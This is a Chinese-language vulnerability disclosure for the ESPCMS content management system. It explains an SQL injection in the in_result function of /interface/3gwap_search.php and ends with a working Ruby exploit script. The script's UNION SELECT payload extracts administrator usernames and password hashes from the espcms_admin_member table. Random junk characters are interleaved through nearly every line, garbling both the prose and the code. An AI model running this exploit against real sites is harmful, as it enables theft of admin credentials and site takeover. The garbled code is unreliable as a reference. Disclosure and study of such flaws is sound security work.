0×0 漏洞概述0×1 漏洞细节
! n8 y h. ~2 l0 q+ ^' w0×2 PoC
+ f5 F9 ~, X7 u- n+ G1 l8 A% ?" ?# m' w
! {+ Q# w0 r% b' F. u7 W# T/ L0 s2 `& R8 n' l' `. u- U7 [
0×0 漏洞概述) L8 }# R* d8 c- ?& b4 M
+ t4 v; B# Y$ c: p# d# i, J易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。' E6 y$ i1 n# t) p5 d% {
其在处理传入的参数时考虑不严谨导致SQL注入发生
& t: Z1 Q. P* ?/ ?$ X3 J. k/ v1 t+ ]# ~; P
& |& d/ x7 m6 [3 o5 ~
0×1 漏洞细节# a+ W, w- |1 ]/ }3 K
( N% ~, P8 \7 h% n
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
- ]( @+ ^( _# ^正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。$ a. W$ m0 p6 o* N3 ]! X0 H
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
4 `! G; y( X/ k/ r" T7 |6 C9 V: T! w( W
在/interface/3gwap_search.php文件的in_result函数中:
+ A% N1 I, X& k( M( l: Z) [! n% l2 n7 P8 W4 Q: J
; \7 \& I: s4 B/ W4 Z+ O5 b
! E$ N* i+ |; _- e. T$ T function in_result() {
( ^4 u+ k& ?7 ]/ X1 S ... ... ... ... ... ... ... ... ...
$ H$ h* D% D5 h1 E7 R $urlcode = $_SERVER[ 'QUERY_STRING '];: S5 U' f4 B# f% q
parse_str(html_entity_decode($urlcode), $output);% E/ b' u5 V5 r* i3 j3 s( S
% |* q G& }) |% \3 S ... ... ... ... ... ... ... ... ...3 F6 Z" @' N- P/ x+ }
if (is_array($output['attr' ]) && count($output['attr']) > 0) {# y. E5 ^- x2 i4 M
; s% D0 }9 @' \ $db_table = db_prefix . 'model_att';
L a( |/ o- E9 q& b! g
9 }' T _1 i. v& ~) D foreach ($output['attr' ] as $key => $value) {* {4 M! b) m8 s0 T E
if ($value) {! P9 q( x. V" s3 p C/ I
* v8 }8 [1 ~* o9 Y1 e, y $key = addslashes($key);
: n. H1 B# h9 p: U+ T; L0 e $key = $this-> fun->inputcodetrim($key);
3 r/ t5 u. ]# B$ x+ Q6 O $db_att_where = " WHERE isclass=1 AND attrname='$key'";
0 B2 P; C- N, Q2 y1 v4 V# Z $countnum = $this->db_numrows($db_table, $db_att_where);
' O, N7 ]" J8 }. K+ i. e3 m if ($countnum > 0) {' c% p/ s# T0 ?# g# a$ V
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
# w9 q; r! d! v. y! q }; h3 _, @* b i; B; @7 D: r
}" d( z$ ], l5 V0 u7 x* I+ ~9 u
}
) \5 n) H6 z" A/ H }
1 n0 f" E0 x* _! I7 @/ @5 s if (!empty ($keyword) && empty($keyname)) {7 W/ @# m7 [- L0 n
$keyname = 'title';
: x+ B! o+ i1 t! [1 q/ I1 m $db_where.= " AND a.title like '%$keyword%'" ;
: W- {$ [! s [/ @7 _) n: _ } elseif (!empty ($keyword) && !empty($keyname)) {
' _; x6 v3 L1 n7 r! a$ m% | $db_where.= " AND $keyname like '% $keyword%'";
. t) s& {, f1 N* n9 z }
& X+ b7 |! r4 T3 G. u $pagemax = 15;
5 |0 s* n. y8 k- i4 _
( i2 i2 x0 K! K w% D' z $pagesylte = 1;
8 E x( A* W; p" S) B9 x- m
8 A; t# n5 L( T* e1 v& q if ($countnum > 0) {: P" A" x$ b6 x4 O8 r8 ]; O1 g
7 N6 {- f, d% W4 \0 s" }2 f7 Z1 Q
$numpage = ceil($countnum / $pagemax);/ s$ S, s* t- B* Y2 v+ Z
} else {* L; f% f/ h3 h% a) m
$numpage = 1;4 U# [* c0 c1 {* O
}
. c) q$ ^- K; m+ V, b4 S5 m $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;7 r5 _# L2 S0 M1 i" @
$this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
! L% `$ y. F( k; Z$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);+ u: j' g2 l7 A) |7 I7 z
... ... ... ... ... ... ... ... ...+ K3 {( N0 Y) X, t( w- G
}
! s! U6 @5 T$ Q2 {/ y5 t4 B/ u( L& W; L* N2 c( x
. J( E* T2 v s" V8 i" `9 l0×2 PoC2 V" F0 U" u, i9 T- w6 I; l1 M& T
; ^% [8 v4 Y: W2 q. F+ d2 }( a
9 K- ]% a0 R9 a
]- C( \1 x) l& W+ frequire "net/http"
! l! J( G5 v% p" F5 V' @( Q6 G: m( a, s
def request(method, url)3 r4 k, _/ J: m3 u- [# G
if method.eql?("get")* w: D! b2 N8 t5 v8 p
uri = URI.parse(url)
# ^0 u/ |* c$ f http = Net::HTTP.new(uri.host, uri.port)1 u0 C* m) O% o5 x
response = http.request(Net::HTTP::Get.new(uri.request_uri))& S5 |* i9 W/ A+ \
return response
) f' ~: A) V/ M' L& B2 \6 X+ m end4 _8 x5 I' k8 b6 [' v' m( H
end( N2 X/ ]! I$ E5 L N) C; m
! e- ] S* _, gdoc =<<HERE
% \' h# D; }0 g4 b& o9 E' C-------------------------------------------------------
2 [' i) d4 I" f* z AEspcms Injection Exploit
& M0 h" `- P; S$ F1 Z5 ?( [Author:ztz
) {5 x# Q( c1 Q" y) QBlog:http://ztz.fuzzexp.org/6 j+ {7 R5 K, k9 e6 Z( S; }0 z
-------------------------------------------------------
8 l5 ]* W( `0 J+ q
, x8 M9 ?2 V( @2 L* DHERE
! t, ^- k$ Y# C+ N3 k( T: U- I( m
usage =<<HERE
0 s1 }+ R+ F2 I) HUsage: ruby #{$0} host port path
/ {* C: s9 H( j( b/ x+ Lexample: ruby #{$0} www.target.com 80 /% `! z, u; O) ]% v, P
HERE- ^# U. a# H* y f" L J h) Q
1 K+ \# n/ z* Y1 I3 j) Mputs doc% n, l& g, {* z; ]( F' Y. \
if ARGV.length < 3
& s ]" H4 h- l* N puts usage9 d0 r1 o' Q4 z$ M1 B
else( `5 |! l0 ~6 H$ f7 I' {$ x
$host = ARGV[0]
. z( u6 n$ c6 v8 q $port = ARGV[1]
7 u1 q# \7 k& L: z( D8 u: @ $path = ARGV[2]6 L( q F* U E5 P* I/ a; e6 b
2 G7 }. j# Z. V- I
puts "send request..."$ Q3 o# h$ X. v- l$ t Z! M
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&* j' m9 M% [6 }8 B# x
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13" K3 K5 ~0 `( C! m x" k; i6 d
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27% v+ \7 b# b# V
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"- k# e5 ^8 g1 X( P
response = request("get", url)- B( s7 U# }- ]
result = response.body.scan(/\w+&\w{32}/)" m. C g7 c" ~; M
puts result, j: m4 w, j+ L- ? U
end; K% I r4 M4 H7 A f3 K* ^& _
; l4 K7 t7 L/ B |